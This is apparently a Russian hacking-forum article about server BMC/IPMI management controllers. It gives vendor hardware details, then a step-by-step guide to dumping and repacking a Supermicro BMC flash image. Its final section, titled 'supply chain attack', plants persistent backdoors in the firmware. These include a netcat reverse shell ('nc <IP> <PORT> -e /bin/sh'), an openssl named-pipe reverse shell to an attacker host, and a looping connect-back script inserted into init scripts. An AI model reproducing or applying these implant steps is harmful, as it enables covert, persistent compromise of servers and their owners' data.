Статья BMC/IPMI/IP-KVM: удобное управление сервером или "железный" бэкдор. [ОСТОРОЖНО, 25 МБ КАРТИНОК!]

[Dread Pirate Roberts]

в основном все статьи про удалённое управление серверами заполнены маркетинговым буллщитом и минимумом реально полезной информации, я постараюсь объяснить, что это и зачем, с точки зрения хакера, а также добавлю некоторые технические подробности, которых или в принципе нигде нет, или которые нужно собирать по крупицам по всему Интернету.


0. we need to go deeper

а точнее, ликбез, что такое BMC ( https://en.wikipedia.org/wiki/Baseboard_Management_Controller )

BMC ("baseboard management controller") - это отдельный процессор (преимущественно ARM) на материнской плате сервера, со своей собственной оперативной памятью и хранилищем, своим отдельным сетевым портом RJ45 и своей операционной системой (преимущественно Linux). по сути это отдельный маленький сервер, установленный внутри каждого "большого" сервера, как будто вы засунули Raspberry Pi в свой системный блок, но с одним нюансом: уровень доступа BMC к серверу - безграничный, в отличие от какой-нибудь внешней малины.
BMC подключён (имеет доступ к) почти ко всем компонентам сервера - по линиям PCI(e), USB, I2C, SMBUS, и иногда даже имеет прямой доступ к оперативной памяти сервера (DMA).

блок-схема от Интеля:

чуть более подробная блок-схема от Супермикры:

ещё чуть подробнее:

BMC работает постоянно, даже когда "основной" сервер выключен. BMC имеет доступ к сети (обычно через собственный сетевой порт, но иногда делит один из портов материнки с "основной" операционной системой), и предоставляет удалённое управление сервером по протоколу IPMI ( https://ru.wikipedia.org/wiki/Intelligent_Platform_Management_Interface ). BMC запускает несколько сетевых служб - SSH, telnet, даже вебсервер, и некоторые другие. обычно к BMC подключаются через web GUI браузером.

BMC умеет:
- собирать и показывать пользователю информацию о сервере (модели процессоров, оперативы и другого железа, состояние хардов, установленные платы PCI, данные с сенсоров, потребляемую мощность, и многое другое);
- управлять питанием сервера (включать-выключать, нажимать кнопку Reset);
- обновлять прошивку BIOS/UEFI;
- и самый полезный для клиентов хостинга функционал - предоставлять доступ к клавиатуре, мыши, и экрану сервера через Интернет, как будто вы находитесь прямо перед сервером. вдобавок ещё можно подключать .iso файл с локального компьютера или качать из Интернета (смотри скрины ниже) как будто втыкаешь реальную USB флешку в сервер, и таким образом устанавливать любую операционную систему по своему усмотрению (или грузиться с LiveCD для восстановления убитой системы). выходит, что это - аналог внешней железки IP-KVM, только встроенный в сервер и не требующий подключения к серверу лишних проводов.

IPMI - это название протокола по управлению сервером через интернет, по этому протоколу подключаются к чипу BMC и отправляют ему всякие команды.
так как обычно пользователи из всего функционала IPMI используют только функцию IP-KVM, то эти понятия стали практически взаимозаменяемы: "IPMI = IP-KVM". говоря "IPMI" обычно подразумевают не сам протокол, а именно удалённый доступ типа IP-KVM к серверу через чип BMC, и если хостер в описании дедика пишет "есть IPMI" - это значит, что вы сможете загрузить на сервер свой .iso образ через интернет и установить операционную систему с нуля, а не использовать предустановленную хостером систему из его мутного образа с троянами и бэкдорами.
"прошивка IPMI", или "прошивка BMC" - это тот самый линукс, который запущен на процессоре BMC, использует оперативу BMC, и записывается на флеш память этого BMC.


IP-KVM здорового человека: *встроен в сервер*

IP-KVM курильщика: пачка USB+VGA кабелей втыкается одной стороной в сервер, другой в специальную стоечную коробку, а стоечная коробка расшаривает сигнал с этих кабелей в Интернет. то есть клиенты хостинга подключаются не напрямую к своему (арендованному) серверу, а к этой коробке.

почему я назвал статью "бэкдором"? если это не очевидно, повторю ещё раз: в вашем сервере стоит дополнительный постоянно работающий сервер с собственной ОС с закрытым исходным кодом, он подключён ко всем элементам материнки, и имеет собственный доступ в Интернет. ничто не мешает ему записывать все нажатия клавиш, которые вы делаете в web GUI, и видеопоток, который вы видите в web GUI, и отправлять эти данные "куда следует", или показывать сохранённые данные при заходе в web GUI со специального дебаг аккаунта, "случайно забытого" в релизной версии прошивки. в некоторых серверах, например HP, BMC имеет прямой доступ к оперативной памяти сервера, и может читать и изменять память незаметно для операционной системы, установленной на сервере ( https://github.com/Synacktiv-contrib/pcileech_hpilo4_service )
никак иначе, кроме как железным бэкдором, подобный функционал назвать невозможно.
внешний IP-KVM, в отличие от BMC/IPMI, подключается к вашему серверу только тогда, когда это нужно (когда вы попросите админов датацентра его подключить). с другой стороны, при использовании внешнего устройства IP-KVM админы датацентра уже точно могут видеть видеопоток с вашего сервера и все ваши нажатия клавиш.

что из этого лучше с точки зрения информационной безопасности - встроенный или внешний IP-KVM доступ - каждый для себя решает сам.


ладно, хватит о грустном, теперь о хорошем: для домашнего использования IPMI - это восхитительная технология, очень рекомендую. я управляю всем своим парком компов удалённо - с ноутбука по вайфаю, лёжа на диване, или через интернет, будучи не дома и подключаясь к домашнему роутеру через VPN.
можно собрать обычный домашний комп на серверной материнке бренда Supermicro*, потому что они поддерживают обычные десктопные комплектующие - ATX блоки питания, четырёхпиновые кулеры, и так далее, и поддерживают работу с не-ECC оперативной памятью. также многие их материнки имеют стандартный десктопный форм-фактор, в отличие от какого-нибудь Dell или HP, где все разъёмы проприетарные (даже под кулеры), и материнки нестандартных форм и размеров, которые невозможно установить в обычный десктопный корпус типа tower.

* - помимо Supermicro некоторые серверные мамки от Lenovo, Asus, Gigabyte, и ASRock тоже можно использовать с обычными десктопными комплектующими.



приведу немного примеров веб-гуя от BMC самых часто используемых в продакшоне серверов - Dell "iDRAC", HP "iLO", и Supermicro "BMC IPMI" (нет своего брендированного названия), и самой часто используемой функции в веб-гуе BMC - загрузка удалённого сервера с файла .iso на локальном компьютере.

Supermicro:

Dell iDRAC:

HP iLO 4:

скриншоты другого функционала, что ещё может среднестатистический BMC/IPMI, вы можете посмотреть вот тут: https://www.thomas-krenn.com/en/wiki/ASPEED_AST2400_IPMI_Chip_with_ATEN-Software


кстати, у вас в компе тоже есть аналог BMC, у которого тоже свой процессор, оператива, и доступ в Интернет. этот аналог называется "PCH", или "чипсет", но удалённый доступ к нему (по сути к вашему компьютеру) есть только у Intel и у NSA
однако к некоторым компьютерам и ноутбукам "бизнес" серии Intel даёт удалённый доступ ещё и юзеру - посмотрите, есть ли у вас на наклейке от интеля слово "vPro" и гуглите "Intel AMT". но даже если на наклейке нет слова "vPro", и даже если на сайте ark.intel.com в описании вашего процессора указано, что поддержки vPro/AMT нет, то это ещё не значит, что её на самом деле нет во многих процессорах этот функционал есть, но программно выключен, и его можно включить с помощью тулзы "amtactivator".

подробностей насчёт AMD не знаю, не работал с этими процами.

самый большой минус (или плюс? ) BMC состоит в том, что производители серверов не шифруют прошивку на флеш чипе, благодаря чему прошивку можно достать программатором, заразить своим добром, и залить обратно на чип. конечно, для этого необходим физический доступ к серверу, но ведь у сотрудников датацентра, где стоит ваш сервер, этот доступ и так есть

а вот образ прошивки для обновления через web GUI производители шифруют кто во что горазд: некоторые простым AES со вшитым в этот же самый файл ключом (то есть ключ можно достать из прошивки, изменить прошивку, и правильно зашифровать получившийся файл тем же ключом), некоторые не шифруют, но подписывают с помощью RSA или PGP, с приватным ключом, зашитым в сам процессор BMC (то есть распаковать прошивку для изучения содержимого получится, но добавить в неё своё добро и залить через web GUI уже нет), а некоторые особо упоротые производители [из Гуандуна] в качестве прошивки дают нераспаковываемое нерасшифровываемое бинарное месиво (видимо, им есть, что скрывать )

перефразирую: в зависимости от бренда сервера, добавление своего добра в оригинальный файл обновления прошивки для заливки его в BMC через web GUI - это задача от не очень простой до чрезвычайно сложной.



1. hard pr0n

а точнее, подробности о "железе" BMC. фотки специально старался резать криво, чтобы вотермарк XSS не закрывал модели чипов.


сервера бренда HP:

в старых серверах (< gen8) использовалась дополнительная плата с сетевым портом RJ45 для удалённого подключения к BMC, в современных серверах (gen8+) сетевой порт BMC встроен в материнку или BMC делит один из портов с "основной" операционной системой сервера.

используются чипы BMC собственной разработки, называются "iLO" от "integrated Lights-Out", актуальные версии - iLO4 и iLO5.
в 8 поколении серверов на чипе iLO4 указана модель "610107-002" или "531510-003", в серверах 9го поколения используется чип iLO4 "531510-004", обе модели включают в себя одно ядро ARM926EJ 400 MHz архитектуры ARMv5.
серверов 10 и 11 поколения с BMC iLO5 у меня под рукой нет, но гугл говорит, что там используется чип "815393-001-B1", включающий в себя одно ядро ARM Cortex-A9 (800 MHz?) архитектуры ARMv7.

в отличие от серверов других брендов, вместо нормального человеческого линукса на BMC серверов HP запущена RTOS "GreenHills Integrity" https://www.ghs.com/products/rtos/integrity.html

в моём тестовом экземпляре HP gen9 чипу BMC доступно 256 MB (2 Gbit) оперативы Hynix H5TC2G63GFR-PBA 256 MB (2 Gbit)

и 4 GB (32 Gbit) хранилища eMMC Hynix H26M31001HPR. гугл говорит, что в серверах HP gen 10 хранилище тоже объёмом 4 гигабайта.
BIOS/UEFI записан на 25-ый SPI чип MXIC 25L12835F, а также какой-то кусок прошивки BMC записан на такой же SPI чип, стоящий рядом. что именно там хранится - не знаю, ещё не разбирал.

интересно, что прошивка Intel ME записана на собственный отдельный 25-ый SPI чип - Winbond 25Q64FVSIQ
обычно (в серверах других брендов) прошивка ME записана на ту же флешку, что и BIOS/UEFI.

в качестве CPLD используется целый FPGA от Lattice, модель LCMXO2-4000HC

сервера бренда Dell:

в предыдущих поколениях (< gen14) использовался процессор Renesas SH7758 с архитектурой SuperH / SH4
в современных серверах (gen 14-15) используется процессор Nuvoton NPCM750, имеющий два ядра ARM Cortex-A9. что используется в самых свежих gen 16 - не знаю, ещё не сталкивался.
в качестве ОС на обоих видах процессора работает дистрибутив Linux, собранный на основе Yocto Project "Poky" https://www.yoctoproject.org/software-item/poky/

также в предыдущих поколениях (< gen13) использовалась дополнительная плата с сетевым портом RJ45 для удалённого подключения к BMC, в современных серверах (gen13+) сетевой порт BMC встроен в материнку.

Dell gen12:

(сетевуху Dell gen14 смотри выше на фотке "IP-KVM здорового человека")

далее только gen14:

BMC доступно целых 512 MB (4 Gbit) оперативы Hynix H5AN4G6NAFR. логи BMC пишутся на 25-ый чип SPI Winbond 25Q32JVSIM или MXIC 25L3233F

прошивка BMC установлена на eMMC Hynix H26M41204HPR 8 GB (64 Gbit) или Micron MTFC8GAKAJCN-1M "JY995" 8 GB (64 Gbit)

BIOS/UEFI хранится на шестнадцатиногом 25-ом SPI чипе Winbond 25Q256JVFQ или MXIC MX25L25673GMI-10G

и опять в качестве CPLD используется FPGA - Lattice LCMXO3LF-4300C

Huawei:

используются чипы BMC собственной разработки - HiSilicon Hi1710, содержащие 1 ядро ARM Cortex-A9 800 MHz.
BMC доступно 256 MB (2 Gbit) оперативной памяти Micron MT41K128M16JT-125, и 128 MB (1 Gbit) хранилища Spansion S29GL01GS10TFI01.
в качестве ОС на BMC запущен дистрибутив Linux, из интересного - web GUI написан на PHP

128 мегабайт под хранилище явно маловато, куда оно ещё может писать логи и другие данные - неизвестно: с верхней стороны материнки ничего похожего на хранилище eMMC или NAND/NOR Flash я не увидел, с обратной стороны материнки виднеется какой-то чип прямо под BMC, но он не похож на флеш чип своим форм-фактором. разбирать сервер я не стал, потому что там гемор - надо снимать сокеты процессоров, чтобы открутить металлическую платформу, к которой крепится материнская плата.
в другом сервере я видел eMMC чип на 8 GB (Hynix H26M41204HPR) расположенный на месте того Spansion-а прямиком из 2007-го, и там было 512 MB оперативы (Micron MT41K256M16TW-107), хотя BMC такой же Hi1710.

BIOS/UEFI скорее всего (я не проверял) записан в этом 25-ом 16-тиногом SPI чипе рядом с чипсетом - "25Q128A"

и тут тоже встречаем старого знакомого Lattice, однако на этот раз FPGA слабоватый, всего 1280 вентилей. китайцы экономят на всём
модель FPGA - LCMXO2-1200UHC

Fujitsu:

тогда как в нормальных серверах используются SPI чипы в форм-факторе SOP/SOIC 8/16-ног, в японско-немецком творении ставят SPI чипы в форм-факторе BGA (с контактами снизу чипа), в моём конкретном экземпляре это MXIC MX25L51245GZ21-10G

процессор BMC: Avago/Emulex SE-SM4310-P02 - удивительный процессор с тремя ядрами разных архитектур, состоит из:
- ядро 1: ARM9 400MHz на котором запущена сама операционная система BMC (в старых серверах - ThreadX, в современных - Linux)
- ядро 2: 32-bit RISC 200MHz "для задач реального времени"
- ядро 3: Atmel 8051 200MHz "Programmable processor for BMC self-test or general purpose"
так как "старого знакомого" FPGA от Lattice на материнке нет, то скорее всего задачи CPLD выполняются вторым или третьим ядром процессора BMC

оператива: 256 MB (2 Gbit) Hynix H5TQ2G63FFR-RDC

где хранится BIOS/UEFI - не знаю. рядом с чипсетом есть парочка восьминогих чипов, но их маркировка не похожа на SPI.

скорее всего биос хранится на вышеуказанном BGAшном чипе MXIC.




Supermicro, Lenovo, Asus, Gigabyte, ASRock, Tyan, Facebook (не шучу), ...:

все эти сервера собираются в одном подвале используют одинаковые чипы BMC от фирмы ASPEED, такие как ASPEED AST2400, AST2500, AST2600.

AST2400: ARMv5 ARM926EJ-S 400 MHz
AST2500: ARMv6 ARM1176JZS 800 MHZ
AST2600: ARMv7 Dual-Core Cortex-A7 1.2 GHz

в моём конкретном экземпляре это AST2400, имеющий 128 MB (1 Gbit) оперативы Winbond W631GG6KB-15
на фоне виднеется совсем слабый FPGA Lattice LCMXO2-640HC

в качестве хранилища используется шестнадцатиногий 25-ый SPI чип MXIC MX25L25635FMI-10G объёмом 32 MB (256 Mbit), BIOS/UEFI записан на восьминогий 25-ый чип Winbond 25Q128FVSG

 

[Dread Pirate Roberts]

2. soft erotica

а точнее, подробности о софте BMC.

самая интересная особенность операционных систем, выполняющихся на BMC - это что почти все сервисы запущены от рута. как минимум веб-сервер
в RTOS у серверов HP вообще нет (вроде бы) разделения на юзеров, то есть там вообще все сервисы работают от рута.

посмотрим, что торчит в сеть у Dell gen 14, HP gen 9 и Supermicro gen 11:


Dell:

о порте 22 чуть ниже, порты 80 и 443 - очевидный web GUI, порт 5900 - VNC сервер, транслирующий видео с "дисплея" сервера (то, что сервер отправляет в VGA порт), но работает он только через web GUI, простым VNC клиентом подключиться и смотреть не получится.

HP:

тут то же самое - очевидные порты 80 и 443, плюс 17988 и 17990, на которых висит видеовыход и серийная консоль (COM порт) сервера, но работают они только через web GUI iLO.

Supermicro:

почти то же самое, только добавился ещё какой-то порт 63631, и стандартный порт протокола IPMI - 632.
почему в серверах других брендов этого порта нет - хз, скорее всего я отключил протокол IPMI в настройках в web GUI, вряд ли он выключен по умолчанию.




при подключении к BMC по SSH или Telnet нифига интересного - там запускается не реальный шелл, а урезанная консоль "SMASH-CLP" ( https://www.dmtf.org/standards/smash https://leo.leung.xyz/wiki/SMASH-CLP ) с минимальным функционалом - десятком стандартизированных команд, предназначенных для массового управления кучей серверов:


Dell:

HP:

Supermicro:

любому психически здоровому человеку хакеру при использовании железки с линуксом на борту хочется видеть не вот это вот всё, а нормальную страшную чёрную консоль.

а это значит, что вместо этой фигни "SMASH-CLP" надо получить нормальный шелл

как я уже писал, добавить свою "полезную нагрузку" в оригинальную прошивку BMC может быть сложно, поэтому мы пойдём по простому пути - через физический доступ к чипу хранилища BMC.
в этой статье я буду работать с материнской платой Supermicro 11-го поколения*, так как это наиболее простая цель - она хранит прошивку BMC на обычном SPI чипе форм-фактора SOP/SOIC, а не на eMMC флешке, поэтому выпаивать чип с хранилищем не обязательно - можно просто подключиться к нему снаружи прищепкой или грабберами.
что именно делать c восьми-/шестнадцати-ногими чипами с маркировкой "25..." вы уже знаете: https://xss.pro/threads/92416/

* - несмотря на то, что это безнадёжно устаревшее говно мамонта с точки зрения белого хостинга (процессорам Skylake / Kaby Lake уже 7-8 лет!), для среднестатистического абузного хостинга это свежайшее "bleeding edge" железо поэтому данная статья вполне актуальна.


для начала делаем дамп прошивки.
в отличие от моего предыдущего топика, на этот раз я буду использовать грабберы вместо прищепки, потому что задолбался правильно подсоединять эту дурацкую прищепку. грабберы подсоединить намного проще, особенно если это нормальные грабберы по 3 бакса за штуку, а не китайские по 3 бакса за коробку:

все(?) 25-ые SPI чипы имеют стандартную распиновку, но на всякий случай гуглим распиновку нашего MX25L256, чтобы не накосячить:

подключаемся и дампим прошивку:

тут я немного пошевелил грабберы и сдампил прошивку ещё раз - аналог снятия и подключения прищепки, чтобы убедиться, что контакт хороший и данные считались верно.

есть два метода распаковки дампа:
- первый - это доставать разделы, рассчитывая их адреса и размеры по выдаче binwalk, и надеяться на лучшее (работает не всегда, об этом чуть ниже),
- и второй, более точный - RTFM. а именно - найти где-нибудь описание структуры дампа.

так как документацию найти не всегда возможно, то сначала попробуем первый:

$ binwalk bmc.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
111664        0x1B430         CRC32 polynomial table, little endian
1048576       0x100000        JFFS2 filesystem, little endian
4194304       0x400000        CramFS filesystem, little endian, size: 15097856, version 2, sorted_dirs, CRC 0x24FFB7AE, edition 0, 8417 blocks, 1018 files
20971520      0x1400000       uImage header, header size: 64 bytes, header CRC: 0x54D4AB25, created: 2020-09-04 06:58:44, image size: 1536828 bytes, Data Address: 0x40008000, Entry Point: 0x40008000, data CRC: 0x2C6C5CE1, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: gzip, image name: "21400000"
20971584      0x1400040       gzip compressed data, maximum compression, has original file name: "linux.bin", from Unix, last modified: 2020-09-04 06:16:04
24117248      0x1700000       CramFS filesystem, little endian, size: 7299072, version 2, sorted_dirs, CRC 0x193A6EC1, edition 0, 2982 blocks, 422 files
31457391      0x1E0006F       Zlib compressed data, default compression
31458262      0x1E003D6       Zlib compressed data, default compression
31458772      0x1E005D4       Zlib compressed data, default compression
31460406      0x1E00C36       Zlib compressed data, default compression
31461685      0x1E01135       Zlib compressed data, default compression
... и ещё 100500 строк "Zlib compressed data".

в начале файла идёт непонятно что, binwalk не распознал. на всякий случай сохраняем все данные от начала файла до байта номер 1048576, где binwalk смог точно определить файловую систему JFFS2.

dd status=progress if=./bmc.bin bs=1 of=./beginning.bin count=1048576

ФС JFFS2 начинается с байта номер 1048576, а заканчивается байтом номер 4194304 (там уже начало следующей ФС - CramFS), значит, достаём её так:

dd status=progress if=./bmc.bin bs=1 of=./jffs_1048576.bin skip=1048576 count=$(expr 4194304 - 1048576)

bs=1 потому что нужно читать по 1 байту за раз, а не стандартными блоками по 512 байт, skip = сколько байт пропустить от начала файла, count = сколько байт прочитать - вычитаем из адреса конца раздела адрес начала раздела

ФС CramFS начинается байтом номер 4194304, а заканчивается 20971520 (там начало uImage), значит, достаём её так:

dd status=progress if=./bmc.bin bs=1 of=./cramfs_4194304.bin skip=4194304 count=$(expr 20971520 - 4194304)

и так далее достаём все нужные разделы из дампа.

в последнем разделе я не указал count, потому что строки "Zlib compressed data" идут до самого конца файла. скорее всего вся эта компрессед дата принадлежит разделу CramFS по адресу 24117248 (0x1700000), поэтому нужно скопировать раздел начиная от байта номер 24117248 и до самого конца дампа.



а теперь самое важное: второй метод.

компания Supermicro настолько щедрая и добрая, что выложила кусок исходников трёхлетней давности: https://www.supermicro.com/wdl/GPL/SMT/x11_release_20200413.tar.gz
там выложен исходный код не всех файлов (например, их веб-сервер распространяется только в бинарном виде), но зато по пути Project_File/OS/Linux/Host/AST2500/Board/AST2500_EVB/flash_layout.config можно найти описание разделов SPI флешки:

...
FLASH_BASE_ADDR = 0x20000000
FLASH_ERASE_BLOCK_SIZE = 0x00010000
BOOTLOADER_ENV_OFFSET = 0x01FC0000
BOOTLOADER_ENV_SIZE = FLASH_ERASE_BLOCK_SIZE
BOOTLOADER_OFFSET = 0x00000000
BOOTLOADER_SIZE = 0x00100000
NVRAM_BLOCK_OFFSET = 0x00100000
NVRAM_BLOCK_SIZE =   0x00300000
ROOTFS_OFFSET = 0x00400000
ROOTFS_SIZE =   0x01000000
KERNEL_OFFSET = 0x01400000
KERNEL_SIZE = 0x00300000
KERNEL_START_ADDR = 21400000
WEBFS_OFFSET = 0x01700000
WEBFS_SIZE =   0x00840000
ALL_PART_OFFSET = 0x00000000
ALL_PART_SIZE =   0x01FC0000
...

и тут мы внезапно обнаруживаем, что на SPI флешке есть ещё один раздел, который не обнаружила программа binwalk - "BOOTLOADER_ENV_OFFSET", содержащий какие-то данные загрузчика.
получается, что достав второй раздел CramFS "методом тыка" - от байта 24117248 до конца файла - я потерял раздел с данными загрузчика.
значит, нужно достать раздел с второй CramFS заново - от байта 24117248 до байта 0x01FC0000, а также достать этот раздел "BOOTLOADER_ENV_OFFSET" от байта 0x01FC0000 до конца файла (так как после раздела BOOTLOADER_ENV уже точно нет никаких других разделов, то можно спокойно копировать все данные до самого конца файла, а не только размером "FLASH_ERASE_BLOCK_SIZE")

также стали известны описания всех остальных куски дампа и их размеры. теперь мы знаем, что:
- в самом начале дампа (от 0x0 до 0x00100000 / 1048576) установлен загрузчик (которого binwalk не распознал)
- раздел с ФС JFFS2, начинающийся по адресу 0x00100000 / 1048576 - это раздел NVRAM
- раздел с ФС CramFS, начинающийся по адресу 0x400000 / 4194304 - это корневая система дистрибутива Linux, запущенного на BMC,
- раздел с ФС CramFS, начинающийся по адресу 0x1700000 / 24117248 - это корень веб-интерфейса (типа папки "public_html")


достаём недостающие элементы из дампа, от начала "*_OFFSET" длиной "*_SIZE" (шестнадцатеричные адреса надо указывать в двойных скобках):

$ mv beginning.bin bootloader.bin
$ file bootloader.bin
bootloader.bin: data
$ dd if=./bmc.bin bs=1 of=./kernel.bin skip=$((0x1400000)) count=$((0x300000))
$ file kernel.bin
kernel.bin: u-boot legacy uImage, 21400000, Linux/ARM, OS Kernel Image (gzip), 1536828 bytes, Fri Sep  4 06:58:44 2020, Load Address: 0x40008000, Entry Point: 0x40008000, Header CRC: 0x54D4AB25, Data CRC: 0x2C6C5CE1
$ dd if=./bmc.bin bs=1 of=./webfs.bin skip=$((0x01700000)) count=$((0x00840000))
$ file webfs.bin
webfs.bin: Linux Compressed ROM File System data, little endian size 7299072 version #2 sorted_dirs CRC 0x193a6ec1, edition 0, 2982 blocks, 422 files
$ dd if=./bmc.bin bs=1 of=./bootloader_env.bin skip=$((0x01FC0000))
$ file bootloader_env.bin
bootloader_env.bin: data

всё, дамп SPI флешки полностью распакован.

важный момент: необходимо полностью разбирать дамп на ВСЕ составляющие части, потому что после изменения какого-то из кусков необходимо будет собрать дамп обратно с идентичным размером (с идентичными начальными адресами)
если информация о структуре дампа не найдена, то нужно будет распаковать все, даже неизвестные, куски первым методом - вычисляя размер этого куска вычитанием адреса (номера байта) начала текущего куска из адреса начала следующего куска.


попробуем для теста собрать обратно дамп прошивки из отдельных кусков:

$ cp ./cramfs_4194304.bin rootfs.bin
$ cp jffs_1048576.bin nvram.bin
$ cat bootloader.bin nvram.bin rootfs.bin kernel.bin webfs.bin bootloader_env.bin > bmc_test.bin
$ md5sum bmc.bin bmc_test.bin
dc7ccec94baa7f7b68b5e110b34f3997  bmc.bin
74b7b81415edb8c5befa0ca9d0cff948  bmc_test.bin

- что-то не сходится. проверим размер файлов:

$ du -b bmc.bin bmc_test.bin
33554432        bmc.bin
33030144        bmc_test.bin
$ expr 33554432 - 33030144
524288

- новый файл на 524288 байт меньше, чем старый.

пересчитаем размеры всех разделов и перепроверим их шестнадцатиричные адреса, добавляя к адресу начала раздела его длину:

BOOTLOADER_OFFSET = 0x00000000
BOOTLOADER_SIZE = 0x00100000

$ printf %x "$((0x00000000 + 0x00100000))"; echo
100000

- бутлоадер заканчивается по адресу 0x100000. это похоже на правду, т.к. дальше, по описанию структуры дампа, начинается NVRAM:

NVRAM_BLOCK_OFFSET = 0x00100000
NVRAM_BLOCK_SIZE = 0x00300000

$ printf %x "$((0x00100000 + 0x00300000))"; echo
400000

- NVRAM заканчивается по адресу 0x400000, это тоже похоже на правду - дальше начинается rootfs:


ROOTFS_OFFSET = 0x00400000
ROOTFS_SIZE = 0x01000000

$ printf %x "$((0x00400000 + 0x01000000))"; echo
1400000

- rootfs заканчивается по адресу 0x1400000, тоже верно - дальше идёт ядро:

KERNEL_OFFSET = 0x01400000
KERNEL_SIZE = 0x00300000

$ printf %x "$((0x01400000 + 0x00300000))"; echo
1700000

- ядро заканчивается по адресу 0x1700000, и тут всё верно - по описанию дальше идёт webfs:

WEBFS_OFFSET = 0x01700000
WEBFS_SIZE = 0x00840000

$ printf %x "$((0x01700000 + 0x00840000))"; echo
1f40000

- опа, а вот и ошибка! раздел webfs заканчивается по адресу 0x1F40000, а, по описанию структуры флешки, следующий раздел "BOOTLOADER_ENV" начинается по адресу 0x01FC0000. проверим:

$ printf %x "$((0x01FC0000 - 0x1f40000))"; echo
80000

- hex "0x80000" лишних байт. переведём в десятиричный вид:

$ printf %d 0x80000
524288

- да, это те самые потерянные 524288 байт.

получается, что настоящая структура SPI флешки такая:


bootloader.bin
nvram.bin
rootfs.bin
kernel.bin
webfs.bin
<тут 524288 байт пустоты>
bootloader_env.bin


попробуем создать такой файл и посмотрим, какая получится чексумма:

$ cat bootloader.bin nvram.bin rootfs.bin kernel.bin webfs.bin > bmc_test.bin
$ dd if=/dev/zero bs=1 count=524288 >> bmc_test.bin
436322 bytes (436 kB, 426 KiB) copied, 1 s, 436 kB/s
524288+0 records in
524288+0 records out
524288 bytes (524 kB, 512 KiB) copied, 1.183 s, 443 kB/s
$ cat bootloader_env.bin >> bmc_test.bin
$ du -b bmc.bin bmc_test.bin
33554432        bmc.bin
33554432        bmc_test.bin
$ md5sum bmc.bin bmc_test.bin
dc7ccec94baa7f7b68b5e110b34f3997  bmc.bin
dc7ccec94baa7f7b68b5e110b34f3997  bmc_test.bin

теперь о содержимом.
в файловой системе JFFS2 (NVRAM) я не нашёл ничего интересного (для данной конкретной статьи) - только логи, аккаунты (логин:хэш 3DES) юзеров, неважные конфиги, и какая-то бинарная фигня.

NVRAM region is not protected by Intel Boot Guard and can be abused by attacker with physical access (supply chain vector).

© @matrosov (он имел в виду другой NVRAM, но всё же )


а вот в файловых системах CramFS интересное:
rootfs.bin - при распаковке действительно видна файловая система дистрибутива BMC
webfs.bin - при распаковке действительно видна корневая директория веб-интерфейса BMC

предвещая ваши вопросы - нет, в папке cgi не скрипты на Perl.
к сожалению, все файлы вебсервера - это скомпилированные программы, написанные на C (о чём говорят строки типа "/home/kevinc/intelSDD512/repo/release/x11up_160_release/Web_Server/OS/Linux/login.c" в этих бинарниках), и исходного кода от них в вышеуказанном архиве x11_release_20200413.tar.gz нет...

итак, пора приступать к...

3. supply chain attack

 

[Dread Pirate Roberts]

3. supply chain attack

...а точнее, к внедрению своего добра в прошивку BMC.


так как CramFS - это read-only файловая система, то её разделы монтируются (внезапно!) в режиме read-only. поэтому для изменения файлов необходимо скопировать содержимое раздела в отдельную вритабельную папку примерно так:

$ mkdir /mnt/rw
$ mkdir /mnt/rw/rootfs
$ mkdir /mnt/rw/webfs
$ cd /mnt/rw/
$ find /mnt/rootfs/ | sed 's/\/mnt/../' | sudo cpio -pdm /mnt/rw/rootfs/
$ find /mnt/webfs/ | sed 's/\/mnt/../' | sudo cpio -pdm /mnt/rw/webfs/

вырезаем '/mnt' из выдачи команды find для того, чтобы cpio не создал папку вида /mnt/rw/rootfs/mnt/rootfs/
cpio надо выполнять от рута, потому что в директории /dev/ куча файлов устройств, которые создадутся только с правами рута:

редактировать файлы тоже придётся от рута, но это не проблема

теперь поищем, куда можно напихать добра. для гарантированного получения доступа к консоли ОС BMC нужно сделать несколько разных бэкконнектов разными способами.

первое, что приходит в голову - это init-скрипты:

вот сюда и запихаем

дальше - очевидный cron:

к сожалению, этот вариант не прокатит - крона в прошивке BMC нет

следующий очевидный вариант - заменить стандартный шелл (busybox) на наш скрипт, который сначала будет выполнять "полезную нагрузку", а потом вызывать "busybox $@", то есть передавать ему все оригинальные опции запуска. с другой стороны, заменять целый busybox довольно опасно, потому что с большой вероятностью всё сломается, поэтому вместо этого я решил заменить другой бинарник, а именно - /SMASH/msh - гугл подсказал, что это та самая урезанная консоль, которую запускает SSH сервер dropbear вместо нормального шелла. точнее, запуск /SMASH/msh захардкоден в dropbear, поэтому просто запустить вторую копию dropbear на другом порту не поможет - там будет точно такая же урезанная консоль.

пожалуй, двух бэкконнектов хватит. теперь надо придумать, как именно поднимать бэкконнект.

программ nc и telnet в прошивке нет, демона telnetd (в отличие от старых серверов Supermicro) - тоже, интерпретаторов perl и python - тоже, компилировать что-то своё под ARM мне лень - значит, надо искать другие пути.

кому интересно, список всех файлов в /bin/ /usr/bin/ /sbin/ /usr/sbin/ прикреплён внизу как all_programs.txt, если увидите что-то интересное - отпишите в комментах!

будь я нормальным хакером, а не бабуином, то скомпилировал бы минимальный netcat в 10 килобайт с помощью musl или uClibc. но так как в 2к23 думать совсем не нужно, то я тупо скачаю готовую полуторамегабайтную сборку Busybox со встроенным netcat и троянами для архитектуры ARMv5 моего процессора BMC.

$ pwd
/mnt/rw/rootfs
$ sudo wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l -O bin/bb
$ sudo chmod 755 bin/bb

запускать его надо будет так:
./bb nc <IP-ADDRESS> <PORT> -e /bin/sh

проскроллив список бинарников я ничего интересного кроме mknod и openssl не увидел, поэтому попробую поднять второй бэкконнект с помощью openssl.

команда для запуска бэкконнекта с помощью openssl примерно такая:

rm -f /tmp/pipe; mknod /tmp/pipe p; /bin/sh -i < /tmp/pipe 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/pipe

на стороне клиента надо будет сделать примерно так:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes;
openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>

пишем скрипт для поднятия бэкконнекта, и кладём его в /bin/openssl-bc

#!/bin/sh

TARGET=$1;

while true;
do
  rm -f /tmp/pipe;
  mknod /tmp/pipe p;
  /bin/sh -i < /tmp/pipe 2>&1 | openssl s_client -quiet -connect $TARGET > /tmp/pipe;
  rm -f /tmp/pipe;
  sleep 3;
done

я сделал TARGET в виде переменной для того, чтобы было удобно передавать скрипту разные таргеты из командной строки.

суём бэкконнект в какой-нибудь init скрипт:

